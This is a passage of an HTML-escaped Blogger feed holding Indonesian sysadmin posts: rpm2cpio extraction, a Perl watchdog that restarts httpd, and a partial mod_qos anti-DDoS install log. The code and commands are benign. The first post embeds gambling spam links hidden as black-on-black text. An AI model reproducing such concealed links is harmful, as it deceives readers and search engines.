;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CPIO(1L)&lt;br /&gt;&lt;br /&gt;NAME&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cpio - copy files to and from archives&lt;br /&gt;&lt;br /&gt;SYNOPSIS&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cpio&amp;nbsp;&amp;nbsp; {-o|--create}&amp;nbsp; [-0acvABLV]&amp;nbsp; [-C&amp;nbsp; bytes]&amp;nbsp; [-H&amp;nbsp; format]&amp;nbsp; [-M&amp;nbsp; message]&amp;nbsp; [-O&amp;nbsp; [[user@]host:]archive]&amp;nbsp; [-F&amp;nbsp; [[user@]host:]archive]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [--file=[[user@]host:]archive] [--format=format] [--message=message] [--null] [--reset-access-time]&amp;nbsp; [--verbose]&amp;nbsp; [--dot]&amp;nbsp; [--append]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [--block-size=blocks]&amp;nbsp; [--dereference]&amp;nbsp; [--io-size=bytes]&amp;nbsp; [--quiet]&amp;nbsp; [--force-local]&amp;nbsp; [--rsh-command=command] [--help] [--version] &amp;lt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; name-list [&amp;gt; archive]&lt;br /&gt;&lt;br /&gt;------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;untuk mengekstrak file rpm gunakan rpm2cpio. misal:&lt;br /&gt;&lt;br /&gt;===========&lt;br /&gt;root@server:~/elf# rpm2cpio kernel-headers-2.6.18-274.3.1.el5.i386.rpm | cpio -idmv&lt;br /&gt;==============&lt;br /&gt;&lt;br /&gt;&lt;style&gt;#agen_sbobet{color:black}&lt;/style&gt;&lt;br /&gt;&lt;div style="background-color:black"&gt;&lt;br /&gt;&lt;a id="agen_sbobet" href="http://www.agenbolasbobet7.com/" title="agen bola"&gt;agen bola&lt;/a&gt;&lt;br /&gt;&lt;a id="agen_sbobet" href="http://www.bandarbolaeuro2012.com/" title="prediksi euro 2012"&gt;agen bola&lt;/a&gt;&lt;br /&gt;&lt;a id="agen_sbobet" href="http://www.agenbolaeuro2012.com/" title="jadwal euro 2012"&gt;agen bola sbobet euro 2012&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-389835650653596505?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/389835650653596505'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/389835650653596505'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/02/ekstrak-rpm-di-slackware-1337-dengan.html' title='Ekstrak rpm di slackware 13.37 dengan cpio'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-7393069572093621124</id><published>2012-02-27T03:43:00.003-08:00</published><updated>2012-02-27T03:46:52.524-08:00</updated><title type='text'>simple perl script for checking httpd connection and auto restart</title><content type='html'>httpdprocwatcher.pl&lt;br /&gt;&lt;br /&gt;==============&lt;br /&gt;#!/usr/bin/perl -W&lt;br /&gt;#gopher://sdf.org/0/users/wisdomc0/code_perl/httpdwatcher.pl &lt;br /&gt;#simple max con httpd restarter&lt;br /&gt;#made by: ev1lut10n&lt;br /&gt;#thanks to: x-hack, danzel, flyff666,p4,smith,superman, raka and all my bro&lt;br /&gt;#greets: cakill, fadli and whitehat &lt;br /&gt;&amp;nbsp;sub paksa_fork()&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; defined(my $pid = fork);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;if ($pid)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;exit;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;else&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for($i=1;$i&amp;lt;3;$i++)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; defined(my $pid = fork);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ($pid)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; exit;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; last;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;}&lt;br /&gt;paksa_fork();&lt;br /&gt;for(;;)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;$jum_runner=0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; open(PROSES_MYSQL, "/bin/ps aux |");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; while (&amp;lt;PROSES_MYSQL&amp;gt;) &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $tampilan_proses .=&amp;nbsp; $_;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;($uid,$pid,$cpu,$mem,$vsz,$rss,$tty,$stat,$start,$time,$command,$rest) = split;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if($rest=~/httpd/ || $command=~/httpd/)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $jum_runner++;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br /&gt;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; close(PROSES_MYSQL);&lt;br /&gt;if($jum_runner&amp;gt;20)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; system("/etc/init.d/./httpd restart");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; print "\nnormal :$jum_runner \n";&lt;br /&gt;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;}&lt;br /&gt;===================&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-7393069572093621124?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/7393069572093621124'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/7393069572093621124'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/02/simple-perl-script-for-checking-httpd.html' title='simple perl script for checking httpd connection and auto restart'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-4542045839203359742</id><published>2012-02-27T02:44:00.000-08:00</published><updated>2012-02-27T02:44:58.479-08:00</updated><title type='text'>instalasi mod_qos 10.2 untuk server apache oye nan unyu2</title><content type='html'>dedicated to: "Manusia Biasa Team" &lt;br /&gt;thanks: all devilzc0de, jasakom and antijasakom crews and members &lt;br /&gt;&lt;br /&gt;by: ev1lut10n aka meki meki pikachu&lt;br /&gt;"perhaitan !!! path module di tulisan ini : /usr/local/apache/modules kudu musti disesuaikeun dengan instalasssy di server ente gan" &lt;br /&gt;&lt;br /&gt;mod_qos merupakeun modul apache buat anti dddddoooozzz&lt;br /&gt;artikel berikut ini harus dilakukan dengan jari2 yang cepat dan lincah &lt;br /&gt;&lt;br /&gt;pertama2 &lt;br /&gt;download mod_qos dari sourceforge oye:lakukeun weget dengan cepat dan lincah:&lt;br /&gt;===================== &lt;br /&gt;&lt;br /&gt;root@server [~/anti_ddos]# wget http://downloads.sourceforge.net/project/mod-qos/mod_qos-10.2.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fmod-qos%2F&amp;amp;ts=1330338738&amp;amp;use_mirror=nchc&lt;br /&gt;[1] 17697&lt;br /&gt;[2] 17698&lt;br /&gt;--2012-02-27 05:33:39--&amp;nbsp; http://downloads.sourceforge.net/project/mod-qos/mod_qos-10.2.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fmod-qos%2F&lt;br /&gt;Resolving downloads.sourceforge.net... root@server [~/anti_ddos]# 216.34.181.59&lt;br /&gt;Connecting to downloads.sourceforge.net|216.34.181.59|:80... connected.&lt;br /&gt;HTTP request sent, awaiting response... 302 Found&lt;br /&gt;Location: http://superb-sea2.dl.sourceforge.net/project/mod-qos/mod_qos-10.2.tar.gz [following]&lt;br /&gt;--2012-02-27 05:33:39--&amp;nbsp; http://superb-sea2.dl.sourceforge.net/project/mod-qos/mod_qos-10.2.tar.gz&lt;br /&gt;Resolving superb-sea2.dl.sourceforge.net... 209.160.57.180&lt;br /&gt;Connecting to superb-sea2.dl.sourceforge.net|209.160.57.180|:80... connected.&lt;br /&gt;HTTP request sent, awaiting response... 200 OK&lt;br /&gt;Length: 427678 (418K) [application/x-gzip]&lt;br /&gt;Saving to: `mod_qos-10.2.tar.gz'&lt;br /&gt;&lt;br /&gt;100%[==================================================================================================================&amp;gt;] 427,678&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 698K/s&amp;nbsp;&amp;nbsp; in 0.6s&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;2012-02-27 05:33:40 (698 KB/s) - `mod_qos-10.2.tar.gz' saved [427678/427678]&lt;br /&gt;=======================&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;lakukan uekstrak dengan gagah berani:&lt;br /&gt;==============&lt;br /&gt;root@server [~/anti_ddos]# tar zxvf mod_qos-10.2.tar.gz&lt;br /&gt;mod_qos-10.2/&lt;br /&gt;mod_qos-10.2/doc/&lt;br /&gt;mod_qos-10.2/doc/qstail.1.html&lt;br /&gt;mod_qos-10.2/doc/favicon.ico&lt;br /&gt;mod_qos-10.2/doc/CHANGES.txt&lt;br /&gt;mod_qos-10.2/doc/mod_qos_s.gif&lt;br /&gt;mod_qos-10.2/doc/qsgrep.1.html&lt;br /&gt;mod_qos-10.2/doc/mod_qos_seq.gif&lt;br /&gt;mod_qos-10.2/doc/qslog.1.html&lt;br /&gt;mod_qos-10.2/doc/index.html&lt;br /&gt;mod_qos-10.2/doc/qsfilter2_process.gif&lt;br /&gt;mod_qos-10.2/doc/qspng.1.html&lt;br /&gt;mod_qos-10.2/doc/qsexec.1.html&lt;br /&gt;mod_qos-10.2/doc/qsfilter2.1.html&lt;br /&gt;mod_qos-10.2/doc/LICENSE.txt&lt;br /&gt;mod_qos-10.2/doc/qssign.1.html&lt;br /&gt;mod_qos-10.2/doc/qsrotate.1.html&lt;br /&gt;mod_qos-10.2/doc/qsgeo.1.html&lt;br /&gt;mod_qos-10.2/doc/nevis.gif&lt;br /&gt;mod_qos-10.2/tools/&lt;br /&gt;mod_qos-10.2/tools/depcomp&lt;br /&gt;mod_qos-10.2/tools/Makefile.in&lt;br /&gt;mod_qos-10.2/tools/configure.ac&lt;br /&gt;mod_qos-10.2/tools/configure&lt;br /&gt;mod_qos-10.2/tools/config.h.in&lt;br /&gt;mod_qos-10.2/tools/src/&lt;br /&gt;mod_qos-10.2/tools/src/Makefile.in&lt;br /&gt;mod_qos-10.2/tools/src/qscheck.c&lt;br /&gt;mod_qos-10.2/tools/src/qsrotate.c&lt;br /&gt;mod_qos-10.2/tools/src/char.h&lt;br /&gt;mod_qos-10.2/tools/src/qssign.c&lt;br /&gt;mod_qos-10.2/tools/src/qsgeo.c&lt;br /&gt;mod_qos-10.2/tools/src/Makefile.am&lt;br /&gt;mod_qos-10.2/tools/src/qspng.c&lt;br /&gt;mod_qos-10.2/tools/src/qsgrep.c&lt;br /&gt;mod_qos-10.2/tools/src/qstail.c&lt;br /&gt;mod_qos-10.2/tools/src/qs_util.c&lt;br /&gt;mod_qos-10.2/tools/src/qsfilter2.c&lt;br /&gt;mod_qos-10.2/tools/src/qs_util.h&lt;br /&gt;mod_qos-10.2/tools/src/qslog.c&lt;br /&gt;mod_qos-10.2/tools/src/qsexec.c&lt;br /&gt;mod_qos-10.2/tools/Makefile.am&lt;br /&gt;mod_qos-10.2/tools/install-sh&lt;br /&gt;mod_qos-10.2/tools/missing&lt;br /&gt;mod_qos-10.2/tools/man1/&lt;br /&gt;mod_qos-10.2/tools/man1/qsexec.1&lt;br /&gt;mod_qos-10.2/tools/man1/qsfilter2.1&lt;br /&gt;mod_qos-10.2/tools/man1/qsgrep.1&lt;br /&gt;mod_qos-10.2/tools/man1/qstail.1&lt;br /&gt;mod_qos-10.2/tools/man1/qsrotate.1&lt;br /&gt;mod_qos-10.2/tools/man1/qslog.1&lt;br /&gt;mod_qos-10.2/tools/man1/qsgeo.1&lt;br /&gt;mod_qos-10.2/tools/man1/qssign.1&lt;br /&gt;mod_qos-10.2/tools/man1/qspng.1&lt;br /&gt;mod_qos-10.2/apache2/&lt;br /&gt;mod_qos-10.2/apache2/Makefile.in&lt;br /&gt;mod_qos-10.2/apache2/mod_qos.c&lt;br /&gt;mod_qos-10.2/apache2/config.m4&lt;br /&gt;mod_qos-10.2/apache2/mod_qos.h&lt;br /&gt;mod_qos-10.2/README.TXT&lt;br /&gt;root@server [~/anti_ddos]&lt;br /&gt;==============&lt;br /&gt;&lt;br /&gt;ke direeeekkktorrriii mod_qos-10.2/apache2 oye&lt;br /&gt;====&lt;br /&gt;root@server [~/anti_ddos]# cd mod_qos-10.2/apache2&lt;br /&gt;========&lt;br /&gt;&lt;br /&gt;cek apxs kita oye:&lt;br /&gt;===========&lt;br /&gt;root@server [~/anti_ddos/mod_qos-10.2/apache2]# apxs&lt;br /&gt;Usage: apxs -g [-S &amp;lt;var&amp;gt;=&amp;lt;val&amp;gt;] -n &amp;lt;modname&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; apxs -q [-S &amp;lt;var&amp;gt;=&amp;lt;val&amp;gt;] &amp;lt;query&amp;gt; ...&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; apxs -c [-S &amp;lt;var&amp;gt;=&amp;lt;val&amp;gt;] [-o &amp;lt;dsofile&amp;gt;] [-D &amp;lt;name&amp;gt;[=&amp;lt;value&amp;gt;]]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [-I &amp;lt;incdir&amp;gt;] [-L &amp;lt;libdir&amp;gt;] [-l &amp;lt;libname&amp;gt;] [-Wc,&amp;lt;flags&amp;gt;]&lt;br 